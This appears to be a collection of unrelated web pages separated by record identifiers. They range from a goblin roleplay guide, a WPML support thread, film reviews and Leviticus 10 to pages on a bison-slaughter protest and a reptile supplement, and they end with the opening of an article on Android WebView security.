Of course there might be a goodhearted, honorable goblin or two somewhere in Azeroth or worlds beyond, but you should be extremely cautious and possibly even a bit mistrusting of using that kind of personality for your goblin character, as it is so rare in goblin society.
Either way, goblins can be highly intelligent and are even more insane - although they'd probably never admit it and just plot revenge on the person who called them insane and then. What you decide to do with your goblin's personality and choices should reflect at least some of these concepts.
Some goblins have a good sense of humor based off quest text, say some silly things while roleplaying a goblin.
While Blizzard will definitely explain just why the Bilgewater Cartel goblins joined the Horde, just how each goblin reacted to this will not be the same. This is where you can make your goblin unique. Saying you are going with the story that you are definitely part of the Bilgewater Cartel and not from another goblin faction, here are attitudes you could choose to show towards other factions.
As some of the goblins may have preferred neutrality, you may want to treat the Alliance with more respect than other members of the Horde. An exception to this may be the gnomes, whom the goblins have a rivalry with (See Goblins versus gnomes). However, this rivalry can sometimes be a fun competition and other times more fierce. Which one you pick will change the way you can interact with gnomes. But keep in mind that if choosing to role play a Bilgewater Cartel goblin, that you faced almost certain death from the Alliances haste actions. there are some goblin mercenaries who serve the Alliance for example theres a goblin assasin in S:17 that would happily kill horde players.
If you want your goblin to be one who already favored the Horde, then maybe a more ruthless attitude will be necessary when dealing with those of the Alliance. Remember though: goblins are greedy. This can make roleplaying with Alliance members fun.
Again, some of the goblins may have preferred neutrality. If this is the case, you may want to be slightly more snobby to members of the Horde than necessary, reminding them it was not your decision to side with them. However, you may have wanted to side with the Horde, and therefore may brag about how you had always favored the Horde over the Alliance. Remember: The goblins have sided with the Horde once before, and now your faction is crawling back to them in a time of need. some goblins even stayed in the horde but very few
Steamwheedle Cartel
Although the main story line suggests you're in the bilgewater cartel you could pretend none of it ever happened and pretend you were in booty bay or ratchet all along serving the steam wheedle cartel, your attitude towards them can still vary. You may talk to other goblins how you believe they should side with the Horde, or maybe how you are jealous of their neutrality and want to join them for the great monetary gain you would get, you could even hate the steemwheadle cartel because the bilgewater cartel paid you to or because someone paid them to go against you. Remember: Goblins would do anything for money. Be creative.
The goblins have long since had a rivalry with the gnomes when it comes to technology. It can either be a "friendly" or unfriendly rivalry, but usually they detest gnomes and would rarely work alongside them if the situation did not warrant it. Keep this in mind when roleplaying a goblin.
Your appearance determines on your goblin's chosen method of business. Needless to say, some clothing choices are very poorly suited for certain roles. It doesn't make sense for a goblin banker or thief to go around in clunky mail armor, nor is it logical for a goblin slave merchant to dress like one of his slaves. with transmogrification its alot easier to go by this. eg. if your playing an engineer you could transmogrify your helmet to flying tiger goggles.
Goblins are sure to wear some kind fashion when they can afford to buy it or manage to steal it from those who can, and are sure to attempt to create their own designs to sell to the public as a means of profit for them.
Goblin mages are usually techno mages or potion docs or maybe it's not even magic, it's just some invention that they're using as a source of their powerful abilities. Goblin Mages would sure like to use the element of fire, because of the massive destruction it causes.
The rogue is in fact the class most fitting for goblins. Goblins invent many ways to earn money, among them stealing. Some rogues may become a goblin sapper, carrying highly explosive bombs, sneaks into enemy forts, plant their explosives and run out as the fort crumble to dust. they could even be criminals on the run or assassins for hire.
All races have their own warriors. Goblin warriors are usually bruisers that guard goblin cities and buildings armed with bulletproof armor, a net shooting gun and a hammer. Goblin warriors may also be gladiators that fight in arenas or other areas for a price or to test their craftiness on others. The goblin warrior may also be a mercenary.
Until the Cataclysm expansion, goblin priests were unknown. Goblin priests in Cataclysm will have their own brotherhood, talking about the light, naming themselves "Father, "brother," or "sister". A fine example of a goblin priest is in the quest H [12] Dozercism. Some goblin priests can be like gnome priests, war medics.
Goblin shaman were, like goblin priests, not known until Cataclysm. However, in the beta many goblin shaman class trainers are called environment engineers, which states that they are goblins working on how to exploit the environment, or heal it from the Cataclysm (which doesn't sound very true although maybe because the cataclysm destroyed Kezan).
A goblin warlock is a perfect choice. Much like gnome warlocks, goblin warlocks may be mad scientists, combining dark shadow & fel magic with insane devices, as well as potentially augmenting their bodies with powerful demonic energies. Warlocks are also perfect at causing mass destruction, which goblins enjoy very much.
While we tend to think of hunters as survivalists who use their experience with ranged equipment and a loyal companion to handle themselves in the world, Goblins take this role in an oftentimes different direction. As goblins favor technology, you may be a mercenary-for-hire who specializes with all sorts of weaponry: snipers, shotguns, handguns... with the addition of mechanical pets, goblin hunters are a lot more unique. If you choose the Lone Wolf perk for marksmanship, you may not even need a companion at all.
Death knight
Goblin Death Knights do not originate from the goblins of Bilgewater Cartel, considering these goblins were in Kezan at the time of the Lich King's ruling. Instead, you were one of the goblins apart of one of the various cartels on Azeroth over the years. A good choice is the Steamwheedle Cartel. Think, what purpose does your Goblin want to serve after his death? Is he the same yet more angry, or is he going to use the power given to him to get what he wants easier?
Recommended professions
Goblins and gnomes are the worlds primary engineers. Goblin engineers focus on things that goes Ka-boom. Besides making explosive stuff, they also make good devices. Both the Mortars and the usable jumper cables are goblin inventions.
Goblins are very good alchemists. The goblin alchemists are famous around the world and brews and sells potions, elixirs and poisons. Goblin alchemists are the supposed ones who invented the [Kaja'Cola]. they could even be called chemists
Goblins like money, gold and all that is valuable. A goblin jewelcrafter usually craft the mostly expensive of shinies, but sometimes, crafts them with false jewels and metals.
Goblin cooks lives all around Azeroth. [Dirge's Kickin' Chimaerok Chops], [Undermine Clam Chowder] and [Goblin Deviled Clams] are examples of good goblin recipes.
Goblins find minerals very important to there everyday lives. Kaja mite for example. they may be looking for a new mineral good enough to make them smarter or they may just have learnt to mine when they were mining the last remains of Kaja mite in the lost isles.
Other proffesions
Really goblins could actually use other proffesions because they just keep finding new ways to make money, go ahead be creative. some goblins even used there engineering skills to help blacksmiths.
See also
1. ^ World of Warcraft: Cataclysm - FAQ. Retrieved on 2009-09-30.
2. ^ Dark Factions, 178 |
global_01_local_0_shard_00002368_processed.jsonl/54080 |
This topic contains 1 reply, has 2 voices.
Last updated by Andreas W. 4 months, 1 week ago.
Assigned support staff: Andreas W..
Author Posts
September 16, 2019 at 2:30 pm #4581343
I am trying to complete the setup of WPML. As of this morning, the homepage puts out 404 error. All Woocommerce products had $0 price and basically the site was a mess.
In the backend, there were no pages associated with the site's languages (newly added French and German), and the default language, English, was not showing at all to be linked to content.
Turned off WPML plugins, everything went back to normal.
Why isn't the default language showing anywhere? How can I resolve the problem?
September 16, 2019 at 10:16 pm #4584409
Andreas W.
Languages: English (English ) Spanish (Español ) German (Deutsch )
Timezone: America/Lima (GMT-05:00)
Thank you for contacting the WPML Support Forum.
Before taking any further steps please change the wp_memory_limit.
Could you please increase your WP Memory limit to 256M? 128M is the minimum required by WPML.
Your current values are:
PHP MemoryLimit 1024M
WP Memory Limit 40M
Add this code to your wp-config.php to increase WP memory:
/* Memory Limit /
define('WP_MEMORY_LIMIT', '256M');
Paste it just before:
/ That's all, stop editing! Happy blogging. /
These settings can be limited directly by your hosting provider, so I recommend you to contact and ask them to modify them directly.
If you can get even higher values It would be great.
Note: WPML needs a minimum WP Memory limit of 128M to work only under a minimal environment, it means, with a default theme and not other plugins installed.
Now, in case the issue persists proceed as followed:
1) Disable any additional plugin that is not related to WPML and its add-ons.
2) If the issue disappears please start reactivating any plugins, or activate them in small groups. This way please verify at which points the issue appears again to indicate the plugin that is causing the issue.
3) Also please change to a default theme like TwentySeventeen to see if the issue might be theme related.
Further, you could enable the wp-debug feature to see if there are any current PHP errors given.
Add the following to your wp-config.php file:
define('WP_DEBUG', true);
define( 'WP_DEBUG_LOG', true );
define( 'WP_DEBUG_DISPLAY', false );
If you open wp-config.php and that define statement is not there, you can add it right before this line:
You will be able to find a complete report inside of your wp-content folder. Look for a debug.log file and provide me the results.
More information about how to activate this feature you can find here:
Let me know about the results. In case the debug-log is very long please add it to a web tool like and send me the link.
Kind regards,
The topic ‘[Closed] Default language not active, homepage 404 error’ is closed to new replies. |
global_01_local_0_shard_00002368_processed.jsonl/54100 | Select Page
In the Face of Climate Change: Saving Coral Reefs with 3D Printing
Written by David
October 15, 2018
A combination of human activities has put a number of species of coral on both the endangered and threatened species lists, but as humanity as a whole eradicates these crucial creatures, some people are doing their part to try and restore coral populations around the world. Among them is Alex Goad, whose Australia-based Reef Design Lab is creating artificial structures using 3D printing on which to grow new coral colonies. Alex Goad’s MARS structure, made with 3D printing. On the left, the structure upon installation in the Maldives. On the right, the structure as it begins to support life. (Image courtesy of Reef Design Lab.) reached out to Goad to learn about what he’s doing to benefit the marine ecosystem and how 3D printing fits in with his company’s work. The State of Coral Perhaps best known for the stunning colors and shapes decorating the Great Barrier Reef, […]
You May Also Like…
Submit a Comment
Pin It on Pinterest
Share This
Share this post with your friends! |
global_01_local_0_shard_00002368_processed.jsonl/54101 | Champagne powder, no lift lines, and epic terrain. These are the reasons skiers and snowboarders come to Crested Butte each winter. For fly anglers, the snowy months are equally as enticing, due to quiet rivers, postcard scenery, and the very real opportunity to catch the trout of a lifetime. Learn about our “secret season” of |
global_01_local_0_shard_00002368_processed.jsonl/54119 | 20i Reseller Hosting
Position on Pairing
Discussion in 'Domain Name Disputes' started by Skinner, Sep 26, 2017.
1. Skinner
Skinner Well-Known Member
Jul 2008
Likes Received:
This is not based on any specific string, any strings or likeness to real life events is purely coincidental.
The current positions as far as I know are:
1), is each domain is its own unique string and there are no pairing beyond where 1 string retains the rights of reg for the .uk.
This pairing ends upon take up.
2), Only strings made clear in the DRS are subject to the DRS system. No new evidence can be added beyond the initial complaint.
Lets suppose a DRS is launched against the owner of say star.net.uk (one of the few obscure .net.uk I think still exists). The owner/registrant of star.net.uk also happens to own the .co.uk and the .uk which are unused, no pages on them at all, no redirects nothing. Neither of the other strings are mentioned in any documentation or discussions.
Are there any precedents in previous cases where other identical strings not named, have been drawn in or any sort of pairing has occurred ?
The DRS search tools are somewhat horrible, and I'm not having much luck.
2. Domain Forum
Acorn Domains Elite Member
Likes Received:
3. [email protected] United Kingdom
[email protected] Member
Aug 2016
Likes Received:
Dear Skinner
One of my colleagues spotted your post and flagged it to me.
When they submit a DRS complaint, the Complainant must list the domain names that they are disputing in the online form.
If, for example, a complaint was filed against star.net.uk, and the case ended up requiring an Expert decision, the Expert could only give a adjudication against that specific domain name. New domain names cannot be added to a case file for a decision.
Other domain names, sometimes even gTLDs, can be included in mediated settlements if both parties come to an agreement.
Hope that helps but please don't forget that you can always send queries like this direct to us at [email protected] and one of my colleagues in our Customer Support Department will be happy to help.
Best wishes
Membership Engagement Lead |
global_01_local_0_shard_00002368_processed.jsonl/54140 | Manuscript Handling Fee
What is the Open Access Publication?
Nowadays, readers pay to access articles either through subscription or by paying a fee each time they download an article. With the escalation of journal subscription charges, libraries may subscribe to fewer journals and hence this may limit the range of articles available to readers. Open access model of publication allows all interested readers to view, download, print, and redistribute any article without a subscription which may enable far greater distribution of an author’s work. Through Open access model the scientific community and the general public can immediately access all content published in the journals for free as soon as it is published on the Internet.
Why the Manuscript handling fee is charged?
All the journals of the Czech Academy of Agricultural Sciences are published within the Open Access model. However, Open access publishing is not without costs. As we do not sell online subscription, we need to defray its editorial and production costs by collecting Manuscript handling fee (MHF) from authors who intend to publish their articles by an Open Access model.
What funding sources are available for authors?
Many institutions, funding and government agencies and foundations help the authors to cover author the Manuscript handling fee. Some funders allow manuscript handling fee to be included as line items on a grant, some deans and/or department heads, or a co-author’s grant, may have discretionary funds available for Open Access publishing, or publishing in general.
How much is the Manuscript handling fee?
Manuscript handling fee (for all categories of manuscripts submitted since January 1, 2018):
320 EUR/article or 8,000 CZK (authors from the Czech Republic).
The price does not include VAT.
Page overlap fee
In case the manuscript extent exceeds the standard size (set by the Instructions to Authors of the journal), then the “page overlap fee” is charged.
30 EUR/5000 characters (with spaces) in original text file.
Who is responsible for the MHF and Overlap fee payment?
The person who submits the manuscript is responsible for the MHF and Overlap fee payment.
When is payment due?
Payment is due when the manuscript is accepted for publication. The authors will receive the Payment Information with the Approval Letter.
Note: Registration of Sales
According to the ACT of 16 March 2016 on Registration on Sales No. 112/2016 Coll., Section 12 (c), the sales of the Czech Academy of Agricultural Sciences are extempted from the Registration of Sales.
© 2020 Czech Academy of Agricultural Sciences |
global_01_local_0_shard_00002368_processed.jsonl/54207 | Sunday, 18 November 2007
A Song to Remember (1945) Charles Vidor
Sometimes it seems like Paul Muni never did anything except play the lead in 19th century biopics. Here though it's 1945, so rather than play Frederic Chopin in the Hollywood version of his life, he plays his teacher, Professor Joseph Elsner instead. Of course he's still the focus of our attentions for much of the film and naturally has the lead credit, even though Cornel Wilde takes the role of Frederic Chopin.
One great example is when Chopin plays at a banquet for a count. Wilde does a great job of pretending to play while sheer opulence rages around him. The Hollywood of the 30s and 40s usually did a great job of feigning opulence and it did a great job here. There's so much depth in this banquet, that goes well beyond the colours and the costumes and the food, and the abrupt ending of it. There's the fact that the table is designed in such a way that nobody can actually see the musicians and the fact that the musician's family and professor are kept in the kitchen. More than anything there's the fact that the entertainment can transition from Paganini to Chopin without the diners really noticing. Stunning. And throughout all of it Muni keeps plenty of attention on himself bumbling around trying to see through the kitchen door.
Anyway Chopin heads to Paris because he can't stay in Poland and soon encounters many names we know. There's a great scene early on where Franz Liszt starts playing some of Chopin's sheet music. On being introduced to the composer he wants to shake his hand but doesn't want to stop playing. As Chopin has joined in they trade parts so that they each have a hand free to shake. There are other set pieces too, my favourite being the one where Liszt gives a performance in the dark at the home of the Duchess of Orleans, only to secretly substitute Chopin. It's a transparent ploy to us but the way in which Merle Oberon, as George Sand, simply exposes the deception is both subtle and marvellous.
The film as a whole is a Hollywood biopic, with all the good annd bad that suggests. I'm no expert on Chopin's life but it doesn't come as a surprise that serious liberties were taken in the name of cinematic art. Either the things we watch happened in a different order or they happened to different people or just didn't happen at all.
Here Chopin grows up in a poor house in the country rather than palaces; isn't hailed as a child prodigy in Poland; only ever has one teacher; doesn't write anything that isn't for piano; doesn't go to Warsaw; doesn't play concerts in Paris; befriends Liszt but not Hiller, Berlioz, Bellini, Schumann or Mendelssohn; doesn't even become engaged; has no real hardship in Majorca; didn't have students; George Sand doesn't have children; etc etc. The final concert tour in which Chopin grows more and more seriously ill while raising money to send back to Poland doesn't seem to have happened.
The more Hollywood biopics I work my way through, the more the question becomes less about accuracy and more about effect and purpose. This one is a superbly crafted film that happens to have very little to do with Frédéric Chopin.
No comments: |
global_01_local_0_shard_00002368_processed.jsonl/54208 | Wednesday, 18 December 2013
The Hedge Sculptor 3000 (2013)
Director: Adam Mariner
IFP Phoenix's new Mystery Box challenge certainly seemed to be just that for many teams: a challenge. Rather than provide the usual required line and prop for each team to use, it asked them to write their own to put in a hat and draw out at random. Adam Mariner may have cursed this concept as he realised what he'd been given, but it turned out to be a blessing as his film must have written itself. What would you come up with if you were tasked with making a short film featuring a pair of shears and the line, 'Is my vagina supposed to look like this?' If you're picturing a forty second infomercial with a bubbly blonde Kiwi in a flesh coloured bodysuit, you did precisely what Mariner did and it really is as funny, albeit also as predictable, as that seems. Unfortunately the credits only list the first names of those involved, with no roles to join them, so I have no idea who the young lady on screen is who makes the material shine, but she's perfectly cast for the role and she does a great job.
There's so little here that it would be easy to imagine nobody else did anything but her, but it isn't just the model and her lines, however well phrased and delivered they happen to be. The technical folk only had to match the style of a cheesy pitch and cheesy pitches aren't particularly renowned for their magic cinematography or their stunning sound. They tend to be more about pointing the camera in the right direction and keeping out of the way so that the model can do her job. That's what Mariner's crew do here and it works fine. The artiest they get is to start in black and white and the cleverest they get is to set up some neat pixellation to avoid censure by the networks, even though it's completely obvious that the model is less naked than anyone watching. Of course this means that the shoutouts are for people not shining, which is an odd scenario for a critic to find himself writing up. This was never going to win anything except best use of line, but that was always pretty safe. It's a fun wrap up for a set of shorts.
No comments: |
global_01_local_0_shard_00002368_processed.jsonl/54233 | Indian Axe
An interesting North Indian Axe. The Iron head and blade chiselled with floral and geometric motifs allover, the axe blade scrolling over at each end to terminate in a birds head, small square pean to the reverse. The shaft reinforced for its entire lenght with a central steel core, the outside lengths covered with bone plaques. Chamfered iron neck and foot mounts. 19th century or earlier.
Add to Cart |
global_01_local_0_shard_00002368_processed.jsonl/54242 | Confidex Go Labels
(Showing 4 of 4)
Confidex Go products are designed with cost efficiency in mind. They are the go-to choice for fast and reliable logistics applications that require unique features such as reading from all angles, eco-friendly paper based structure, VDA compliancy, or tagging high water content goods. |
global_01_local_0_shard_00002368_processed.jsonl/54293 | How do I grow a thick and full beard?
—Urban Beardsman
Growing a thicker and fuller beard has a lot to do with something called “Genetic Growth”. Generally speaking, each person has a maximum potential for how full and how long their beard hair will grow. This solely depends on your genetics and there’s not much you can do to control that. However, there are a few things you can do to help promote hair growth. We recommend maintaining a healthy diet, working out regularly and making sure that you get all of your necessary vitamins. |
global_01_local_0_shard_00002368_processed.jsonl/54309 | • Personal Finance Basics
• Everyday Expenses
In the days of smartphones and tablets, we use apps for almost everything. You can use an app to track how much water you’re drinking, to catch a cab, and to lock yourself out of social media to focus. But can apps really change your behaviour? Can using budgeting apps improve your financial health?
finance app
In our modern world, there is a lot of financial uncertainty. We will often have unexpected bills and costs, and an increasing percentage of the population are working in freelance or irregular jobs. Technology is also somewhat of an uncertainty - when we arrive at work, will our computers function in the way they need to? Will our favourite mobile game be working? We already know we can’t always trust Apple Maps!
One way people are beginning to use technology to navigate uncertain times is by downloading and using apps that are very different to the likes of Facebook and Instagram. There are countless apps available that promise to improve your life in some way. Apps are available to supply you with workouts, track how much water you’re drinking, help you manage projects and create presentations. There are also many, many apps available to help you with your finances.
budget app
We have recommended multiple apps this month that you can download to manage your personal or business budget, keep track of taxes, and reach a savings goal. They are all very helpful in one way or another, but will only be of use to you if you use them correctly and stick to the budgets you plan. In these modern times when we are so dependant on our phones, computers, and the internet, it does seem like they can sometimes dictate our lives. But at the end of the day, you need to commit to a budget yourself - the app can’t do it for you!
What an app can offer you is constant accountability. A written budget, or a spreadsheet of your expenses and income is all very well and good, but it won’t be with you at all times. A budget app will send you notifications when you are nearing your spending limit, and will be available at your fingertips before you make any purchases.
finance apps
So, what is the answer to the above question? Can apps improve your financial health? Like many questions, the answer is: it depends. If you commit to the budget you set for yourself and remain accountable to your app, you will absolutely learn healthier financial behaviours and spending habits. If you diligently follow the budget you set for yourself with the help of your app, you will improve your financial health. However, if you download the app, use if for a week, then promptly forget about it and begin ignoring the notifications telling you to pump the breaks on your spending, no - a budget app will not help you in the slightest!
Ready to become debt free?
Take the first step to a debt free future
Ready to become debt free?
Take the first step to a debt free future
You might find these interesting
Ready to become debt free?
Speak with one of our specialists to start your future
About Beyond Debt
Get Help |
global_01_local_0_shard_00002368_processed.jsonl/54313 | Leviticus 10
English Revised Version
The Sin of Nadab and Abihu
(Numbers 3:1-4)
1And Nadab and Abihu, the sons of Aaron, took each of them his censer, and put fire therein, and laid incense thereon, and offered strange fire before the LORD, which he had not commanded them. 2And there came forth fire from before the LORD, and devoured them, and they died before the LORD.
Restrictions for Priests
8And the LORD spake unto Aaron, saying, 9Drink no wine nor strong drink, thou, nor thy sons with thee, when ye go into the tent of meeting, that ye die not: it shall be a statute for ever throughout your generations: 10and that ye may put difference between the holy and the common, and between the unclean and the clean; 11and that ye may teach the children of Israel all the statutes which the LORD hath spoken unto them by the hand of Moses.
12And Moses spake unto Aaron, and unto Eleazar and unto Ithamar, his sons that were left, Take the meal offering that remaineth of the offerings of the LORD made by fire, and eat it without leaven beside the altar: for it is most holy: 13and ye shall eat it in a holy place, because it is thy due, and thy sons' due, of the offerings of the LORD made by fire: for so I am commanded. 14And the wave breast and the heave thigh shall ye eat in a clean place; thou, and thy sons, and thy daughters with thee: for they are given as thy due, and thy sons' due, out of the sacrifices of the peace offerings of the children of Israel. 15The heave thigh and the wave breast shall they bring with the offerings made by fire of the fat, to wave it for a wave offering before the LORD: and it shall be thine, and thy sons' with thee, as a due for ever; as the LORD hath commanded.
16And Moses diligently sought the goat of the sin offering, and, behold, it was burnt: and he was angry with Eleazar and with Ithamar, the sons of Aaron that were left, saying, 17Wherefore have ye not eaten the sin offering in the place of the sanctuary, seeing it is most holy, and he hath given it you to bear the iniquity of the congregation, to make atonement for them before the LORD? 18Behold, the blood of it was not brought into the sanctuary within: ye should certainly have eaten it in the sanctuary, as I commanded. 19And Aaron spake unto Moses, Behold, this day have they offered their sin offering and their burnt offering before the LORD; and there have befallen me such things as these: and if I had eaten the sin offering today, would it have been well-pleasing in the sight of the LORD? 20And when Moses heard that, it was well-pleasing in his sight.
Leviticus 9
Top of Page
Top of Page |
global_01_local_0_shard_00002368_processed.jsonl/54363 | Zakynthian Kitchen
Taste of the Mediterranean
fagita-2-g-98x300What is it that distinguishes Septinsular cooking from that of any other part of Greece?
It is of course, the local customs, historical circumstances, economic potentials and available ingredients. On the whole, fagita-1-165x300however, the Septinsular kitchen is truly Mediterrranean:
It is defined by the use of virgin olive oil, it neutralizes the acidity of tomatoes and lemons with garlic and prefers fragrant greens to hot spices. Zakynthos has many olive trees and produces oil that can be counted among the tastiest in Greece. As a result, Zakynthian recipes are rich in olive oil. They do not change from year to year and have a heady dose of garlic. "Sartsa" can be considered the "national" dish: ox meat or beef cooked in a casserole dish, with tomatoes, garlic, "ladotyri" and a little oregano. Other standard Zakynthos recipes are "Skordostoumbi", made with aubergines and large quantities of garlic.
Other specialities are the local "ladotyri", a spicy cheese made from goat's milk stored in clay jars filled with fagita-4-g-300x147olive oil and the local "myzithra" cheese, made salted or unsalted. Myzithra is even eaten with sugar or huney. Celebrated Zakynthos foods are bread baked by Zakynthians in their homes, as well as the desserts, such as "mantolato" (Zakynthos is considered its homeland), made from egg white, roasted almonds, honey or sugar, and "pasteli", the ancient Greek sweet made with sesame seeds, honey and almonds.
Partly Cloudy
Partly Cloudy
Humidity: 97%
Wind: 17.70 km/h
• 03 Jan 2019
Rain 8°C 3°C
• 04 Jan 2019
Rain 6°C 1°C
Contact Us
Breeze Tour
Head Office:Breeze Tour
Lomvardou & Katifori Str.2 , Zakynthos town
Zakynthos, 29100, Greece
T. +30 (26950) 43280/ 43731
F. +30 (26950) 43480
2013 Breeze Tours - GoZakynthos Internet Services |
global_01_local_0_shard_00002368_processed.jsonl/54377 | Skip to Content
Teeth Whitening in Fenton, MO
Whitening procedures can effectively restore your smile if time has stained, dulled or discolored your teeth. Professional whitening performed by our office is considered to be the most effective and safest method. Done properly, teeth whitening can last as long as five years. Meanwhile, some commercially available “whitening toothpastes” can be somewhat effective at removing external stains and making teeth a few shades brighter. However, many of these products have abrasive substances that can wear away your tooth enamel in the long run.
family of four moving into house
Why Do I Need Professional Teeth Whitening?
The darker tissue of your teeth, the dentin, can become exposed as the effects of aging, or things like caffeine and tobacco, wear the bright white outer layer of enamel away. Sometimes, traumatic injuries, medications and fluorosis actually cause a stain that begins inside the tooth, so brushing and flossing don’t help. Another type of stain—one that can be more easily attacked by brushing, flossing, and rinsing—is caused by external factors such as foods.
Whitening agents actually change the color of your teeth, but are only effective on certain types of stains. For example, bleaching agents have a difficult time removing brownish or grayish stains. These products are also not as effective on pitted or badly discolored teeth, or on restorations such as crowns, bridges, bonding and tooth-colored fillings. Porcelain veneers or dental bonding may be more appropriate in this case. To find out which method is most effective for you, schedule a consultation at Brookwood Dental Center today.
two women brushing teeth
Brushing Tips to Help Keep Teeth White
In between dental appointments, it’s important to brush your teeth at least twice a day and floss once a day to remove the buildup of food and plaque. This keeps your tooth enamel shiny and healthy. Here are some tips to make sure you’re brushing effectively to keep your smile bright before your next teeth whitening treatment.
• Effective brushing usually takes about 3 minutes.
• Place your toothbrush next to your teeth at a 45-degree angle and gently brush in a circular motion, not up and down. Brush only two or three teeth at a time and gradually cover your entire mouth. Brushing up and down wears down your tooth structure and can lead to receding gums or expose the root of your tooth.
man brushing teeth
More Tips on Brushing
• You should brush all surfaces of your teeth—front, back, top, and between other teeth—rocking the brush back and forth gently to remove any plaque growing under the gum.
• Don’t forget the other surfaces of your mouth that can host bacteria: your gums, the roof and floor of your mouth, and most importantly, your tongue. Brushing your tongue not only removes trapped bacteria and other disease-causing germs, but it also freshens your breath!
• Remember to replace your brush when the bristles begin to spread, because a worn toothbrush will not properly clean your teeth.
Call Today to Schedule Your Appointment! |
global_01_local_0_shard_00002368_processed.jsonl/54386 | Mammoth Visitor's Center Temporarily Closed
For Immediate Release:
March 26, 2008
Buffalo Field Campaign, Dan Brister 406-726-5555
Mammoth Hot Springs, Yellowstone National Park - Two West Yellowstone women, Miriam Wasser, 20, and Cat Simonidis, 22, locked themselves together around a post inside the Mammoth Visitor's Center in Yellowstone National Park at approximately 10:30 this morning to call attention to the Park Service's slaughter of nearly 1,000 bison since February 8. Upon discovering the women, Yellowstone officials closed the visitor's center to members of the public and the media, including reporters from CNN, CBS, and an independent film maker. The women were extricated, arrested, and transported to the Mammoth Jail at approximately 12:30 this afternoon.
In spite of receiving thousands of calls, letters, and emails from concerned citizens opposed to the bison slaughter, Yellowstone National Park remains intent on capturing and killing bison. As the women staged their action, Yellowstone Rangers captured between 30 and 50 bison a few miles away. Between February 8 and March 26, Park rangers have captured more than 1200 bison on the north side of Yellowstone National Park. While the government's official reason for the slaughter is to prevent the spread of brucellosis from wild bison to cattle, no such transmission has ever been documented.
In a statement Miriam Wasser explained her motivations: "Faulty brucellosis science and politically motivated carrying capacity figures used in the plan are no excuse for the hazing, capturing, and slaughtering of the last genetically intact, free-roaming bison population in the United States. This issue is black and white: the Park Service is meant to protect and preserve wildlife in National Parks, not indiscriminately slaughter hundreds of buffalo, or compromise their wildness by quarantining and holding them in pens. I am doing this to illuminate the wrongful actions of the Park Service, actions which must STOP!"
The women sent a letter to Yellowstone Superintendent Suzanne Lewis asking the Park Service to withdraw from the Interagency Bison Management Plan and to protect, rather than slaughter, the bison the agency is entrusted with protecting.
3,208 wild American bison have been killed or otherwise removed from the remaining wild population since 2000 under actions carried out under the Interagency Bison Management Plan (IBMP), as well as state and treaty hunts. The IBMP is a joint state-federal plan that prohibits wild bison from migrating to lands outside of Yellowstone's boundaries. Wild American bison are a migratory species native to vast expanses of North America and are ecologically extinct everywhere in the United States outside of Yellowstone National Park.
Buffalo Field Campaign strongly opposes the Interagency Bison Management Plan and maintains that wild bison should be allowed to naturally and fully recover themselves throughout their historic native range, especially on public lands.
|
global_01_local_0_shard_00002368_processed.jsonl/54387 | -English site is not finish yet-
*Orders from outside the Netherlands are only sent on Mondays.*
*If something is not in stock, we will refund that amount to your account.*
*Insects we ship with water balls so they survive the trip.*
*Order silkworms and insects for Wednesday 3:00 pm*
*Only Silkworms? Order for sunday 3:00 pm.*
We only ship with DPD.
2-3 working days.
Shipping from 11.75.
ST* Miner-All Indoor 171gr
Miner-All has been tested for reptiles in captivity for more than a decade.
Both Miner-All products do not combine vitamins with minerals. Miner-All indoor contains vitamin D3 but it is packed in a tiny capsule so that it does not come into contact with the minerals. Mixing non-packaged vitamin with minerals ensures that the vitamins dissolve within a few hours. Miner-All outdoor contains no vitamin D3 and is intended for animals that are exposed to natural sunlight or kept with T-rex Uvheat lamps.
Miner-All also contains no vitamin A.
Vitamin that lasts longer than other vitamins when mixed with minerals is, like D3, a dangerous vitamin that can lead to mortality if overdosed.
Miner-All uses limestone (calcium carbonate) as a calcium supplement of an extremely fine composition. Calcium carbonate is itself more sticky than other calcium supplements so it sticks better to food animals. The Calcium carbonate used in Miner-All consists of softer and more round particles, making it easy to absorb in the body. Calcium obtained from, for example, ground oyster shells is much harder and flaky. It can also contain heavy metals (lead etc.) that can lead to poisoning.
The best calcium / phosphorus ratio is 2: 1 for reptiles. Unfortunately, insects contain much more phosphorus than calcium. That is why Miner-All does not contain any phosphorus to bring the balance back into balance.
Miner-All contains many trace elements found in the muscles and bones of reptiles from the wild. This shows that reptiles absolutely need these trace elements. Miner-All is the best-selling reptile food supplement is the United States and Japan and is now also available in Europe. Zoos, veterinarians and top breeders worldwide recommend it.
34 Items
Shipping method
Delivery Time:
1 - 2 dagen
ST* Miner-All Indoor 171gr does not have any reviews yet. Share your experiences and post a review.
Last viewed items |
global_01_local_0_shard_00002368_processed.jsonl/54399 | Lots of people are involved in Belle Vue Baptist Church. People lead and help in all sorts of different ways.
Andy Goodliff is the church’s minister. He is responsible for leading the church in worship, discipleship and mission. Andy is an ordained Baptist minister. He trained for ministry at Regent’s Park College, Oxford, having previously studied theology at King’s College London. He is married to Hannah and they have three children.
blog: http://andygoodliff.typepad.com
twitter: @andygoodliff
Maria Hayton is the church secretary.
Brenda Sims is the church administrator. |
global_01_local_0_shard_00002368_processed.jsonl/54436 | • Home
Welcome to the lab of Dr. Cecilia Flores
At McGill University
Our research team studies cellular and molecular mechanisms involved in the development of abnormalities in brain function and in behavior associated with schizophrenia and drug abuse. Our work focuses on the dysfunction of the dopamine system, a brain system important in reward, motor, and cognitive functions. Those suffering from schizophrenia or from substance abuse disorders exhibit altered function of the dopamine system; schizophrenic patients are also prone to substance abuse and drug addicts also have a high incidence of drug-induced psychosis.
Through a multidisciplinary approach we address the idea that the abnormal functioning of the dopamine system in schizophrenia and drug abuse results, in part, from alterations in the ´wiring´ of this system. We are particularly interested in addressing whether proteins that are normally involved in the organization of neuronal connectivity during development, including neurotrophic factors and guidance cues, play a role in the ´miswiring´ of the dopamine system observed in these disorders. We are also interested in studying how fluctuations in the levels of gonadal hormones (e.g. estrogen and testosterone), early in life or in adulthood, induce changes in dopamine function, rendering this system more or less vulnerable to mental disorders.
Current Projects
Developmental StudiesIcon-ResilienceIcon-Drug&adolescentAdult-plasticity |
global_01_local_0_shard_00002368_processed.jsonl/54450 | Checkmarx Named a Leader in Gartner Magic Quadrant for Application Security Testing
Android WebView: Secure Coding Practices
Nowadays, there is no doubt that mobile applications have changed the world in a big way. Just look at the interaction habits, for example the way people socialize as individuals or in a group has changed as what was once far away is now at our fingertips.
This is part one of a four-part series. Click for part 2part 3, and part 4.
There is an infinite number of applications and resources available to millions of users. And as these numbers grow, security concerns raise as well.
